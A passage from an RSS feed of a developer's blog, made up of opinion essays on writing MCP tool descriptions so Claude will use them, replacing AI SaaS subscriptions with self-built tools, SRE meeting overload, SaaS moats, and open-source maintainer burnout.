having done this early. That’s a reasonable outcome.</p>
]]></content:encoded></item><item><title>Why Your MCP Server Will Die in Obscurity</title><link>https://lakshminp.com/2026/02/mcp-server-tool-descriptions/</link><pubDate>Thu, 26 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/mcp-server-tool-descriptions/</guid><category>essays</category><category>ai-coding</category><description>You built it over a weekend. The code works. Claude can technically call your tools. You added it to the config — if you’re not sure how, Stop Making Claude Code Guess covers the setup — restarted Claude Code, and — nothing. Claude doesn’t use it. Or uses it once, awkwardly, and then forgets it exists.
The problem isn’t your code. The problem is that Claude doesn’t know when to call your tools, so it doesn’t.</description><content:encoded>&lt;![CDATA[<p>You built it over a weekend. The code works. Claude can technically call your tools. You added it to the config — if you’re not sure how,<a href="https://lakshminp.com/p/stop-making-claude-code-guess" class="lnp-link">Stop Making Claude Code Guess</a> covers the setup — restarted Claude Code, and — nothing. Claude doesn’t use it. Or uses it once, awkwardly, and then forgets it exists.</p><p>The problem isn’t your code. The problem is that Claude doesn’t know when to call your tools, so it doesn’t.</p><p>This is the thing nobody tells you when you’re learning MCP: the hardest part isn’t building the server. It’s making Claude reach for it.</p><h1 id="how-claude-actually-chooses-your-tool"><strong>How Claude Actually Chooses Your Tool</strong></h1><p>When you ask Claude to do something, it’s doing a matching problem. It looks at what you asked, scans the tools available to it, reads their descriptions, and decides which one — if any — fits.</p><p>That last part is the lever most developers ignore. Claude doesn’t run your code to figure out what your tool does. It reads the description you wrote and makes a judgment call. If your description is vague, generic, or poorly matched to the language your users actually use, Claude will skip your tool and try something else. Or just tell you it can’t do the thing.</p><p>Here’s a real example. Compare these two tool descriptions for the same function:</p><blockquote><p><strong>Bad</strong>: “Query the database.”</p><p><strong>Good</strong>: “Look up a customer’s order history, subscription status, and recent activity by email address or customer ID. Use this when someone asks about a specific customer’s account.”</p></blockquote><p>The first one is technically accurate. The second one is what Claude can actually match against. “What’s going on with<a href="mailto:john@example.com" class="lnp-link">john@example.com</a>‘s account?” maps cleanly to the second description. It maps to nothing in the first.</p><p>Your tool description is a search index. Write it like one.</p><h1 id="the-five-ways-mcp-servers-die"><strong>The Five Ways MCP Servers Die</strong></h1><p><strong>1. Bad descriptions.</strong> Already covered, but it bears repeating because it’s the most common failure. Every tool, resource, and prompt deserves a description that answers: when should Claude reach for this? Include the kinds of questions or requests that should trigger it. Use the words your users actually use.</p><p><strong>2. Too many tools.</strong> There’s a temptation to expose everything. Every database table. Every API endpoint. Every configuration option. Resist it. A server with 30 tools is a server Claude gets confused by — and it’s also a server that quietly eats your context window before you’ve typed a word (<a href="https://lakshminp.com/p/mcp-server-context-bloat" class="lnp-link">more on that problem here</a>). It can’t reliably choose the right tool when there are 30 candidates with overlapping descriptions. The best MCP servers do one thing, maybe two, exceptionally well. If you find yourself adding a tenth tool, ask whether you’re building a server or a dumping ground.</p><p><strong>3. Output Claude can’t reason about.</strong> Tools that return raw JSON blobs, HTML, or binary data are tools Claude struggles to use. Claude works in text. If your tool returns<code>{"data": [{"id": 1, "val": "foo"}, ...]}</code>, Claude has to parse that before it can think about it. If your tool returns “Found 3 orders: Order #1001 (shipped Jan 15), Order #1002 (pending), Order #1003 (refunded)”, Claude can work with that directly. Format your output for a reader, not a parser.</p><p><strong>4. Uninstallable.</strong> Most MCP servers have no README. No install instructions. No example config. No explanation of what environment variables they need. Even if someone finds your server on GitHub, if they can’t get it running in ten minutes, they close the tab. You will never hear from them again. Distribution is half the product.</p><p><strong>5. Solving a problem only you have.</strong> This one is uncomfortable because it’s often true. The research tool you built for your specific workflow, against your specific internal data structure, with your specific edge cases handled — it’s not a product, it’s a script. That’s fine. But don’t confuse it for something others will install. The MCP servers that spread are the ones that solve problems many developers have, in a way that requires no customization to be useful out of the box.</p><h1 id="what-actually-works"><strong>What Actually Works</strong></h1><p>The servers that get used share a few traits.</p><p>They have narrow scope with deep utility. Not “do 20 things mediocrely” but “do one thing so well you’d miss it if it was gone.” A good example: a server that searches Hacker News. One tool, one job — search HN, return results with scores and comment counts, formatted so Claude can reason about it immediately. That’s enough. That’s a server people actually keep installed.</p><p>They treat descriptions as product copy. Not documentation — copy. The description is the first thing Claude reads and the primary factor in whether your tool gets called. Write it for Claude the way you’d write an app store listing: what does this do, when do you need it, what does success look like.</p><p>They fail gracefully and informatively. When something goes wrong, a good tool returns “No results found for ‘X’. Try a broader search term.” A bad tool raises an exception. Claude can work with the first one. It can only apologize for the second.</p><p>They’re easy to install. One command. One config block. Clear documentation for what environment variables are needed and what they do. If setup takes more than five minutes, most people won’t finish.</p><h1 id="the-gap-this-creates"><strong>The Gap This Creates</strong></h1><p>Right now, MCP is early. Most servers are weekend experiments. The production-quality servers — narrow scope, excellent descriptions, graceful error handling, easy installation — are rare.</p><p>That gap is an opportunity. A well-built MCP server that solves a real developer problem and is easy to install can spread through Claude Code users the same way good VS Code extensions did: by word of mouth, by being genuinely useful, by being the thing you’d mention in a conversation when someone complains about the problem you solved.</p><p>The window isn’t permanent. In six months, there will be a lot more competition. Right now, the bar is low enough that “works reliably and has a clear description” puts you in the top 10%.</p><p>That’s what I’m writing about in the MCP Cookbook — a practical guide to building production MCP servers for Claude Code. Not how to write an MCP server; the official docs cover that. How to write one that people actually use.</p>
]]></content:encoded></item><item><title>While You Panic About AI Taking Jobs, I Built $200/Mo Tools</title><link>https://lakshminp.com/2026/02/stop-paying-ai-wrappers/</link><pubDate>Wed, 18 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/stop-paying-ai-wrappers/</guid><category>essays</category><category>claude-code</category><category>saas</category><description>I was about to click “Subscribe: $29/month” on yet another AI content tool when I stopped.
Not because $29 was a lot. I’ve subscribed to worse. I have a graveyard of forgotten SaaS products auto-renewing somewhere in my credit card statement, silently draining money for tools I used exactly twice.
No, I stopped because I realized something embarrassing.
This tool was literally just a pretty wrapper around Claude. Same AI I already pay for. Same capabilities. They’d added a nice UI, a payment form, and approximately zero additional value.</description><content:encoded>&lt;![CDATA[<p>I was about to click “Subscribe: $29/month” on yet another AI content tool when I stopped.</p><p>Not because $29 was a lot. I’ve subscribed to worse. I have a graveyard of forgotten SaaS products auto-renewing somewhere in my credit card statement, silently draining money for tools I used exactly twice.</p><p>No, I stopped because I realized something embarrassing.</p><p>This tool was literally just a pretty wrapper around Claude. Same AI I already pay for. Same capabilities. They’d added a nice UI, a payment form, and approximately zero additional value.</p><p>I was about to pay $29/month to rent something I could build in an afternoon.</p><p>So I closed the tab. Opened Claude Code. And two hours later, I had my own version. No usage limits. No subscription. Mine forever.</p><p>That was six months ago. Since then, I’ve built six tools. I’ve eliminated $200/month in subscriptions. And I’ve realized something that changed how I think about this whole “AI is coming for your job” panic.</p><h1 id="everyones-worried-about-the-wrong-thing"><strong>Everyone’s Worried About the Wrong Thing</strong></h1><p>My LinkedIn feed is a horror show right now. Every other post is either “AI will take your job” or “Here’s how to survive the AI apocalypse” or some variation of “the robots are coming, repent.”</p><p>The advice is always the same. Learn to prompt. Adapt or die. Get your finances in order because disruption is coming.</p><p>Maybe it is. I don’t know the future any better than you do.</p><p>But here’s what I do know: while everyone’s stockpiling survival advice, I’ve been using those same AI tools to eliminate $200/month in software subscriptions. Tools I was paying for six months ago? I own them now. Forever. Zero recurring cost.</p><p>Same technology. Completely different mindset.</p><p>Let me show you what I mean.</p><h1 id="the-batch-pdf-processor-i-built-instead-of-uploading-50-files"><strong>The Batch PDF Processor I Built Instead of Uploading 50 Files</strong></h1><p>I had 50 research papers to process. Extract abstracts, pull out key findings, grab any data tables, save everything as searchable markdown.</p><p>Sure, Claude can read a PDF. One at a time. Upload, wait, copy the output, upload the next one, repeat 49 more times.</p><p>Old me would’ve done exactly that. Or Googled “batch PDF extraction tool,” found something that charges per page, done the math, decided it wasn’t worth it, and then manually uploaded 50 files anyway.</p><p>New me? I built a script.</p><p>Ninety minutes later, I had a skill that loops through a folder, extracts text and tables from each PDF using PyMuPDF, summarizes each one, and saves structured markdown files. Point it at a folder, go make coffee, come back to 50 organized summaries.</p><pre><code>&gt; Process all PDFs in ~/research/papers
[loops through 50 files]
[extracts + summarizes each]
[saves to ~/research/summaries/]</code></pre><p>No uploading files one by one. No copy-paste marathon. No usage limits. Runs locally, so nothing leaves my machine.</p><p>The tool isn’t “PDF extraction”: Claude already does that. The tool is<em>automation</em>. Batch processing. The boring plumbing that turns a manual 3-hour task into a 5-minute one.</p><h1 id="the-video-transcription-pipeline-that-changed-how-i-learn"><strong>The Video Transcription Pipeline That Changed How I Learn</strong></h1><p>I’m an infoproduct junkie. Courses, masterclasses, workshops: if someone’s selling knowledge in video form, I’ve probably bought it. My Teachable and Gumroad purchase history is embarrassing. Hours and hours of content sitting in various dashboards, waiting to be watched.</p><p>Old me would take notes while watching. Pause, scribble, play, pause, scribble. Retain maybe 30% of it. Forget the rest within a week.</p><p>New me? I feed the videos to my video-distill skill. It transcribes everything with Whisper, distills it into readable chapters with Claude, and exports to EPUB.</p><p>Two hours of course video becomes a 12,000-word mini-book on my Kindle that I can search, highlight, and reference forever.</p><p>Build time: 2 hours.</p><p>Previous cost: $50-200 per course for transcription services (or just&hellip; not having transcripts and forgetting everything).</p><p>The ROI on courses went from “eh, probably worth it” to “this is a no-brainer.”</p><h1 id="the-pattern-nobody-wants-to-admit"><strong>The Pattern Nobody Wants to Admit</strong></h1><p>Here’s what I noticed while building these:</p><p><strong>Every AI SaaS is a thin wrapper around the same AI you already have access to.</strong></p><ul><li><p>Batch file processing? A loop + Claude.</p></li><li><p>Video transcription? Whisper + Claude.</p></li><li><p>Content research? Web fetch + Claude.</p></li><li><p>Cross-posting? Template formatting + Claude.</p></li><li><p>Writing assistant? Prompt engineering + Claude.</p></li></ul><p>The “product” is convenience packaging. A nice UI, hosting, a payment gateway, customer support. Sometimes that’s worth paying for.</p><p>But most of the time? You can build 80% of what you need in under two hours.</p><p>I’ve done this six times now. Total build time: about 14 hours. One weekend, spread across a few months.</p><p>Total monthly savings: $199.</p><p>Total annual savings: $2,388.</p><p>Tools I now own forever: 6.</p><h1 id="the-real-question-nobodys-asking"><strong>The Real Question Nobody’s Asking</strong></h1><p>While everyone argues about whether AI will take their job, here’s what I’m thinking:</p><p><strong>It’s not AI vs humans. It’s humans with AI vs humans without.</strong></p><p>The lawyer who refuses to use AI for contract review loses to the lawyer who uses it and handles 5x more clients.</p><p>The developer who doesn’t use AI for code generation loses to the developer who does and ships features in days instead of weeks.</p><p>The writer who thinks AI is “cheating” loses to the writer who uses it for research and drafts 10x more content.</p><p>The people who lose their jobs to AI won’t be the ones whose work AI can theoretically do.</p><p>They’ll be the ones who<em>didn’t use AI</em> and got outpaced by someone who did.</p><h1 id="what-i-actually-do-instead-of-panicking"><strong>What I Actually Do Instead of Panicking</strong></h1><p>I audit my subscriptions. Every few months, I go through my recurring charges and ask: “Is this just an AI wrapper?”</p><p>If yes, I build a replacement. If the replacement covers 80% of my use cases, I cancel the subscription.</p><p>Here’s my current hit list:</p><ul><li><p><strong>Batch PDF processing</strong>: replaced manual uploads with pdf-reader skill (90 min)</p></li><li><p><strong>Video transcription</strong>: replaced $50-200/course services with video-distill skill (2 hours)</p></li><li><p><strong>Ebook formatting</strong>: replaced $30/book services with epub-builder skill (1 hour)</p></li><li><p><strong>Content research</strong>: replaced $29/mo tools with compose skill (3 hours)</p></li><li><p><strong>Cross-posting</strong>: replaced $50/mo tools with distribute skill (2 hours)</p></li><li><p><strong>Writing assistant</strong>: replaced $20/mo Sudowrite etc with fiction-writer skill (4 hours)</p></li></ul><p>Not everything is worth building. QuickBooks? Keep paying. Complex Zapier automation with 50 integrations? Probably keep paying. Hosted databases? Definitely keep paying.</p><p>But simple AI wrappers that just call Claude with a prompt and charge you monthly for it? Those are dying. You can own that.</p><h1 id="this-is-what-leverage-actually-looks-like"><strong>This Is What Leverage Actually Looks Like</strong></h1><p>When you own your tools, you can modify them to fit your exact workflow. Combine them in ways SaaS products can’t. Build competitive advantages nobody else has.</p><p>My<code>distribute</code> skill cross-posts to five platforms in one command. Most people manually post to each: different formatting, different copy, different everything. That’s 30 minutes per post. I do it in 2 minutes.</p><p>Over a year, that’s 50+ hours saved. For one skill.</p><p>My<code>video-distill</code> skill turns courses into searchable mini-books. Most people watch courses once and forget 80% of it. I have permanent reference material I can search and review anytime.</p><p>This is how one-person operations beat ten-person teams. Not by working harder. By owning tools that make you 10x faster.</p><h1 id="two-paths"><strong>Two Paths</strong></h1><p>The AI revolution is here. Not coming. Here.</p><p><strong>Path A:</strong> Read about how AI is going to disrupt your career. Worry about it. Prepare for the worst. Maybe it happens, maybe it doesn’t. Either way, you spent months anxious instead of building.</p><p><strong>Path B:</strong> Use AI to eliminate expenses, build tools, ship faster, own your stack. If disruption comes, you’re already leveraged. If it doesn’t, you still saved $2,400/year and got 10x faster.</p><p>I’m on Path B.</p><p>I built six skills in 14 hours. I save $200/month. I own tools that do exactly what I need, with no usage limits, no pricing tiers, and no risk of some startup getting acqui-hired and shutting down my workflow.</p><p>And I’m shipping four SaaS products while working two day jobs, because I have the leverage to do it.</p><p>You can panic, or you can build.</p><p>I’m building.</p><h1 id="if-you-want-to-start"><strong>If You Want to Start</strong></h1><p>Here’s the playbook I use every time.</p><h2 id="step-1-pick-your-target"><strong>Step 1: Pick Your Target</strong></h2><p>Start with something you use weekly but don’t need enterprise features for. The sweet spot is tools where you’re paying for convenience, not capability.</p><p><strong>Good first targets:</strong></p><ul><li><p>Batch processing workflows (loop through files, process each, save outputs)</p></li><li><p>Video/audio transcription (Whisper is free and runs locally)</p></li><li><p>Content research and brainstorming (web scraping + Claude)</p></li><li><p>Grammar/style checking (Claude prompts replace Grammarly)</p></li><li><p>Format conversion pipelines (markdown → EPUB, video → transcript → summary)</p></li></ul><p><strong>Bad first targets:</strong></p><ul><li><p>Accounting software (compliance, integrations, audit trails)</p></li><li><p>Complex multi-step automation with 20+ triggers</p></li><li><p>Anything requiring hosted infrastructure you don’t want to manage</p></li><li><p>Real-time collaboration tools (Google Docs, Figma)</p></li></ul><h2 id="step-2-describe-the-workflow-not-the-tool"><strong>Step 2: Describe the Workflow, Not the Tool</strong></h2><p>Don’t say “build me a transcription tool.” Say “I have 20 course videos. I want to transcribe each one, distill the key points, and save them as markdown files organized by chapter.”</p><p>The more specific you are about your<em>actual workflow</em>, the better the tool fits. You’re not building a generic SaaS: you’re building exactly what you need.</p><h2 id="step-3-start-ugly-iterate-fast"><strong>Step 3: Start Ugly, Iterate Fast</strong></h2><p>Your first version will be rough. That’s fine.</p><p>My video transcription pipeline started as a janky script that choked on long files. I fixed the edge cases as I hit them. Now it handles 3-hour lectures without breaking a sweat.</p><p>Don’t try to build the polished SaaS version. Build the “works for my specific use case” version. That takes 90 minutes, not 90 days.</p><h2 id="step-4-the-80-test"><strong>Step 4: The 80% Test</strong></h2><p>Run your homegrown tool alongside the paid one for 30 days. Track when you reach for the paid tool instead.</p><p>If your skill handles 80% of cases, cancel the subscription. The remaining 20%? Either iterate on your skill or accept the occasional manual workaround.</p><p>Perfect is the enemy of $X/month forever.</p><h2 id="step-5-compound-it"><strong>Step 5: Compound It</strong></h2><p>Once you’ve built one, you’ll notice patterns. The same techniques: file handling, API calls, text processing, output formatting: show up everywhere.</p><p>Your second skill takes half the time. Your fifth takes 20 minutes.</p><p>This is how you end up owning your entire stack without spending months building it.</p><h2 id="the-prompt-that-starts-everything"><strong>The Prompt That Starts Everything</strong></h2><p>If you’re using Claude Code or similar:</p><pre><code>I want to build a tool that [specific workflow].
I currently do this by [current manual process or paid tool].
My input is [what you're working with].
I want the output to be [format and destination].
What's the simplest way to build this?</code></pre><p>Then iterate. The AI will ask clarifying questions, suggest approaches, write code. You test, refine, test again.</p><p>Two hours later, you own something you would’ve rented forever.</p><p>The people who win the next decade won’t be the ones who worried about AI disruption.</p><p>They’ll be the ones who used AI to build tools, eliminate costs, and move faster than everyone else.</p><p>Don’t rent your stack. Own it.</p><p><em>P.S.: The AI wrapper economy is dying. Every “AI-powered” tool that’s just a UI around Claude or GPT is on borrowed time. The moment users realize they can build 80% of that themselves, the subscription revenue evaporates. If you’re building an AI SaaS, make sure your value is in the 20% that can’t be replicated in two hours.</em></p>
]]></content:encoded></item><item><title>How to Escape the SRE Meeting-Industrial Complex</title><link>https://lakshminp.com/2026/02/sre-meeting-overload/</link><pubDate>Wed, 11 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/sre-meeting-overload/</guid><category>essays</category><category>craft</category><description>Monday morning. I opened Slack at 8:30. By 8:47 I had four meeting invites: a standup, a sync, a pre-mortem for a system that hasn’t broken yet, and a “quick alignment call” about the alignment call we had on Friday.
By 11am I’d spent two and a half hours talking about reliability. I’d spent zero hours improving it.
Someone on r/devops posted this week: “My team should be renamed to TalkOps.” Ninety-nine percent upvote ratio. Every SRE on the planet felt that in their chest.</description><content:encoded>&lt;![CDATA[<p>Monday morning. I opened Slack at 8:30. By 8:47 I had four meeting invites: a standup, a sync, a pre-mortem for a system that hasn’t broken yet, and a “quick alignment call” about the alignment call we had on Friday.</p><p>By 11am I’d spent two and a half hours talking about reliability. I’d spent zero hours improving it.</p><p>Someone on r/devops posted this week: “My team should be renamed to TalkOps.” Ninety-nine percent upvote ratio. Every SRE on the planet felt that in their chest.</p><h1 id="the-meeting-industrial-complex"><strong>The Meeting-Industrial Complex</strong></h1><p>Here’s what happens in platform engineering and SRE orgs at scale. The work is invisible. Nobody sees the deployment pipeline until it breaks. Nobody notices the monitoring until it doesn’t fire. The only proof that your team exists is&hellip; meetings.</p><p>So meetings multiply. Not because they’re useful, but because they’re visible. Your manager needs to justify headcount. Your team needs to “align” with five other teams. Every incident spawns a post-mortem, every post-mortem spawns action items, every action item spawns a planning meeting, and the planning meeting spawns a follow-up sync to check on the action items from the post-mortem about the incident that happened because nobody had time to do deep work because they were in too many meetings.</p><p>The recursion is beautiful, in a terrible way.</p><h1 id="deep-work-is-the-actual-product"><strong>Deep Work Is the Actual Product</strong></h1><p>I’ve been a Principal SRE for long enough to have an opinion that would get me in trouble at most companies:<strong>most reliability improvements happen in 2-hour blocks of uninterrupted focus, not in 30-minute standups.</strong></p><p>The monitoring rule that catches the subtle memory leak? That took a quiet afternoon staring at Grafana dashboards. The deployment pipeline fix that cut rollback time from 20 minutes to 90 seconds? That was a Saturday morning when Slack was silent.</p><p>The real work — the stuff that actually moves your error budget in the right direction — requires the kind of concentration that evaporates the instant someone says “can I get 15 minutes?”</p><p>Fifteen minutes is never fifteen minutes. It’s five minutes of context-switching in, fifteen minutes of meeting, and thirty minutes of trying to remember what you were doing before the meeting. That’s fifty minutes gone for fifteen minutes of “alignment.”</p><h1 id="the-side-project-tax"><strong>The Side Project Tax</strong></h1><p>Here’s where it gets personal. If you’re an SRE who also builds on the side — SaaS, open source, writing, whatever — the meeting-industrial complex doesn’t just eat your work day. It eats your creative energy.</p><p>I leave my day job some days having produced nothing but words. Spoken words. Words in Zoom calls. Words in Slack threads about Zoom calls. By the time I sit down to work on my own projects, my brain is cooked.</p><p>Not tired-from-solving-hard-problems cooked. Tired-from-performing-productivity cooked. There’s a difference. One is the good kind of exhaustion. The other is the kind where you stare at your side project and think “I’ll just do this tomorrow” for the 47th consecutive day.</p><p>The cruel irony: the skills that make you good at SRE — systems thinking, pattern recognition, automation instinct — are exactly the skills you need for building products. But TalkOps burns through your cognitive budget before you can apply those skills to anything that’s actually yours.</p><h1 id="fighting-back-without-getting-fired"><strong>Fighting Back (Without Getting Fired)</strong></h1><p>You can’t just decline every meeting. I’ve tried. People notice. “Not a team player” shows up in your review. The trick is strategic visibility reduction.</p><h2 id="1-the-async-post-mortem"><strong>1. The Async Post-Mortem</strong></h2><p>Most post-mortems don’t need a meeting. They need a document. Write the timeline, the root cause, the action items. Share it. Let people comment asynchronously. Reserve the live meeting for cases where there’s genuine disagreement about the fix.</p><p>I started doing this two years ago. Saved roughly 3 hours a week. Nobody complained. Several people thanked me.</p><h2 id="2-the-office-hours-model"><strong>2. The Office Hours Model</strong></h2><p>Instead of being available for “quick syncs” all day, block two hours for office hours. “Need my input? Come between 2-4pm Tuesday and Thursday.” Outside those hours, I’m heads-down. Slack messages get a response within 4 hours, not 4 minutes.</p><p>This feels rude until you realize that every senior engineer at a company like Google does exactly this. They just don’t announce it.</p><h2 id="3-the-1-page-rfc"><strong>3. The 1-Page RFC</strong></h2><p>Half the planning meetings exist because nobody wrote down what they want to build. A 1-page RFC — problem, proposed solution, tradeoffs, timeline — kills 3 meetings. Write it before the meeting gets scheduled. Share it. Cancel the meeting. “I think the RFC covers it. Drop comments if anything’s unclear.”</p><h2 id="4-protect-your-first-2-hours"><strong>4. Protect Your First 2 Hours</strong></h2><p>No meetings before 10:30. Not negotiable. Those first morning hours are when your brain is sharpest. Using them for standups is like using a surgical laser to heat soup.</p><p>If your standup is at 9am, that’s not a standup. That’s a productivity assassination. Push for async standups (Slack bots work fine) or at least move it to after lunch when everyone’s already in low-focus mode.</p><h2 id="5-make-the-work-visible-without-meetings"><strong>5. Make the Work Visible Without Meetings</strong></h2><p>The root cause of TalkOps is invisible work. Fix the visibility problem and you fix the meeting problem.</p><p>Weekly automated reports. Dashboards in shared channels. Monthly “here’s what platform eng shipped” newsletters. Make the work visible on your terms, in your format, on your schedule. If people can see what you’re doing, they stop scheduling meetings to ask.</p><h1 id="the-real-output"><strong>The Real Output</strong></h1><p>Every hour you reclaim from TalkOps is an hour you can spend on actual reliability work. Or actual side project work. Or actual thinking, which is the scarcest resource in any engineering organization.</p><p>The r/devops thread had a comment that stuck with me: “By the time I get a quiet hour, I’m already drained.”</p><p>That’s not a scheduling problem. That’s a systems problem. And if there’s one thing SREs should be good at, it’s fixing systems.</p><p>Start with your own calendar.</p>
]]></content:encoded></item><item><title>The Real SaaS Moat AI Can't Replicate</title><link>https://lakshminp.com/2026/02/ai-saas-moat-exposed/</link><pubDate>Mon, 09 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/ai-saas-moat-exposed/</guid><category>essays</category><category>saas</category><description>There’s a comment buried 14 levels deep in this Hacker News thread about AI killing B2B SaaS. It has 37 upvotes and it’s the smartest thing I’ve read this year.
Here it is, paraphrased: “The real innovation of SaaS was laundering inaccessible open-source software into a format that doesn’t require transiting git. The hard part was never the code. The hard part was that git sucks.”
I laughed. Then I stopped laughing because it’s devastatingly correct.</description><content:encoded>&lt;![CDATA[<p>There’s a comment buried 14 levels deep in<a href="https://news.ycombinator.com/item?id=46888441" rel="external nofollow noopener" class="lnp-link">this Hacker News thread about AI killing B2B SaaS</a>. It has 37 upvotes and it’s the smartest thing I’ve read this year.</p><p>Here it is, paraphrased: “The real innovation of SaaS was laundering inaccessible open-source software into a format that doesn’t require transiting git. The hard part was never the code. The hard part was that git sucks.”</p><p>I laughed. Then I stopped laughing because it’s devastatingly correct.</p><h2 id="the-git-laundering-machine"><strong>The Git Laundering Machine</strong></h2><p>Think about the most profitable SaaS businesses in technology. Seriously, list them.</p><p>AWS? That’s Linux, KVM, and Xen behind a billing dashboard. Heroku was git-push-to-deploy because deploying was too hard. Vercel is the same thing for Next.js. MongoDB Atlas is MongoDB without the ops. Redis Cloud is Redis without the YAML. Supabase is Postgres without the DBA.</p><p>Every single one of them is a factory that converts something freely available on GitHub into something you can pay for on a website.</p><p>The commenter was right. These companies didn’t build moats with proprietary technology. They built moats by standing between users and git. Their value proposition, stripped to the studs, is: “You don’t have to clone a repo.”</p><p>That’s a $500 billion industry built on the fact that<code>git clone</code> is scary.</p><h2 id="llms-just-killed-the-middleman"><strong>LLMs Just Killed the Middleman</strong></h2><p>Here’s where the “AI is killing SaaS” thesis gets real.</p><p>When a CTO says “can we build this internally?”, the old answer was: “Technically yes, but you’d need 3 engineers, 6 months, and ongoing maintenance. Just buy the SaaS.”</p><p>The new answer: “ChatGPT set it up in 20 minutes. It reads from the same open-source code the SaaS vendor uses. It runs on our infrastructure. There’s no monthly bill.”</p><p>LLMs do exactly what SaaS companies do — they take inaccessible open-source software and make it usable by normal humans. They just skip the subscription.</p><p>The git laundering machine now has competition. And the competitor works for free.</p><h2 id="what-actually-survives"><strong>What Actually Survives</strong></h2><p>So is B2B SaaS dead? No. But the moat map just got redrawn.</p><p>Here’s what doesn’t survive:<strong>any SaaS whose primary value is “we set it up so you don’t have to.”</strong> Deployment wrappers, config GUIs, managed hosting for commodity databases — all of this is getting compressed.</p><p>An HN commenter who manages teams put it bluntly: “Management doesn’t want to be responsible for bespoke internal tools.” That’s real. But it’s a shrinking moat. Today’s management doesn’t want to be responsible. Tomorrow’s management grew up with ChatGPT and doesn’t see internal tooling as risky.</p><p>Here’s what survives:</p><p><strong>Data.</strong> If your SaaS accumulates proprietary data over time — customer behavior patterns, industry benchmarks, network effects — that’s a moat AI can’t replicate. A new LLM-generated tool starts with zero data. Your SaaS has three years of it.</p><p><strong>Compliance and trust.</strong> SOC 2, HIPAA, GDPR certification takes time and money. “ChatGPT built it” doesn’t pass an enterprise security audit. Yet.</p><p><strong>Workflow lock-in.</strong> Not the software itself, but the habits. Slack isn’t hard to replace technically. It’s hard to replace because your whole company’s muscle memory lives there.</p><p><strong>Network effects.</strong> Figma isn’t valuable because of the rendering engine. It’s valuable because your designers, developers, and product managers are all in the same file. That’s a moat no amount of vibe coding can replicate.</p><p><strong>The specification itself.</strong> Here’s the contrarian take within the contrarian take: as code becomes commodity, the spec becomes the product. The companies that survive aren’t the ones that write the best code. They’re the ones that understand the problem deeply enough to specify what “right” looks like. Everyone else is just a GPT wrapper with a landing page.</p><h2 id="the-indie-saas-playbook-changes"><strong>The Indie SaaS Playbook Changes</strong></h2><p>If you’re building SaaS solo — and if you’re reading this newsletter, you probably are — the implications are brutal and clear.</p><p><em>Full disclosure: I built a product that does exactly this.<a href="https://supabyoi.com/" rel="external nofollow noopener" class="lnp-link">Supabyoi</a> deploys Supabase for you. By my own thesis, that’s a shrinking moat. I’m writing this post partly because I’m living the question: evolve or get compressed.</em></p><p><strong>Stop building tools. Start building data flywheels.</strong></p><p>A CRUD app with a nice UI is now a weekend project for anyone with ChatGPT. A system that gets smarter with every user interaction is still a real business.</p><p><strong>Stop selling setup. Start selling ongoing value.</strong></p><p>“We deploy Postgres for you” is dying. “We analyze your Postgres performance patterns across 10,000 databases and tell you what’s about to break” is thriving.</p><p><strong>Stop competing on features. Start competing on understanding.</strong></p><p>The SaaS products that survive AI commodification will be the ones that understand their customers’ problems better than a general-purpose LLM ever could. Domain expertise is the last moat.</p><h2 id="the-500-billion-question"><strong>The $500 Billion Question</strong></h2><p>The HN thread devolved into the usual “AI is overhyped” vs. “AI changes everything” tribal warfare. But that one comment, buried 14 levels deep, cut through all of it.</p><p>The SaaS moat was never the software. It was the fact that software was hard to access. That moat is evaporating.</p><p>What’s left is data, trust, network effects, and deep domain understanding.</p><p>Build your SaaS around those. Or enjoy competing with a free chatbot.</p>
]]></content:encoded></item><item><title>Open Source Is Starving While AI Makes Coding Free</title><link>https://lakshminp.com/2026/02/open-source-ai-coding-crisis/</link><pubDate>Tue, 03 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/open-source-ai-coding-crisis/</guid><category>essays</category><category>craft</category><description>Developer costs are plummeting toward zero. AI coding agents can scaffold an app in minutes. A solo founder with Claude can ship what used to take a team of five.
And yet, open source is in crisis.
Maintainers are burning out at record rates. Critical infrastructure projects survive on the goodwill of one or two exhausted volunteers. The xz backdoor wasn’t an anomaly — it was a symptom of a system running on fumes. The “one random person in Nebraska” meme stopped being funny years ago.</description><content:encoded>&lt;![CDATA[<p>Developer costs are plummeting toward zero. AI coding agents can scaffold an app in minutes. A solo founder with Claude can ship what used to take a team of five.</p><p>And yet, open source is in crisis.</p><p>Maintainers are burning out at record rates. Critical infrastructure projects survive on the goodwill of one or two exhausted volunteers. The xz backdoor wasn’t an anomaly — it was a symptom of a system running on fumes. The “one random person in Nebraska” meme stopped being funny years ago.</p><p>We have the cheapest labor in the history of software, and the projects that hold up the internet are still starving for contributors.</p><p>How?</p><h1 id="the-founding-myth"><strong>The Founding Myth</strong></h1><p>In 1997, Eric Raymond published<em>The Cathedral and the Bazaar</em>, the essay that became open source’s origin story. The argument was simple: software built like a cathedral — centrally planned, tightly controlled, released when perfect — loses to software built like a bazaar — messy, open, iterated in public by a swarm of contributors.</p><p>Linux beat the cathedral. The bazaar won. Raymond’s most famous line became gospel: “Given enough eyeballs, all bugs are shallow.”</p><p>Twenty-nine years later, the eyeballs are disappearing. The bazaar is starving. And a new kind of cathedral has risen — one Raymond never imagined.</p><h1 id="cheap-labor-doesnt-flow-to-maintenance"><strong>Cheap Labor Doesn’t Flow to Maintenance</strong></h1><p>Here’s the disconnect: AI-generated labor isn’t flowing to maintenance. It’s flowing to creation.</p><p>Vibe coding doesn’t fix bugs in abandoned logging libraries. It generates new apps. Agents build what they’re told, and nobody tells them “go triage issues on this unglamorous project that 40,000 packages depend on.”</p><p>Raymond’s bazaar worked because contributors had intrinsic motivation — they scratched their own itch. Agents don’t have itches. They have prompts.</p><p>The result: an explosion of new software built on a foundation that’s slowly rotting.</p><h1 id="linuss-law-is-breaking"><strong>Linus’s Law Is Breaking</strong></h1><p>Raymond’s key insight was that open development creates a natural immune system. Bugs get caught because many eyes are watching. The bazaar is self-correcting.</p><p>This assumed two things that were true in 1997 and are increasingly false today:</p><p><strong>First, that someone wrote the code.</strong> Vibe-coded software often has no human author who deeply understands it. The person who 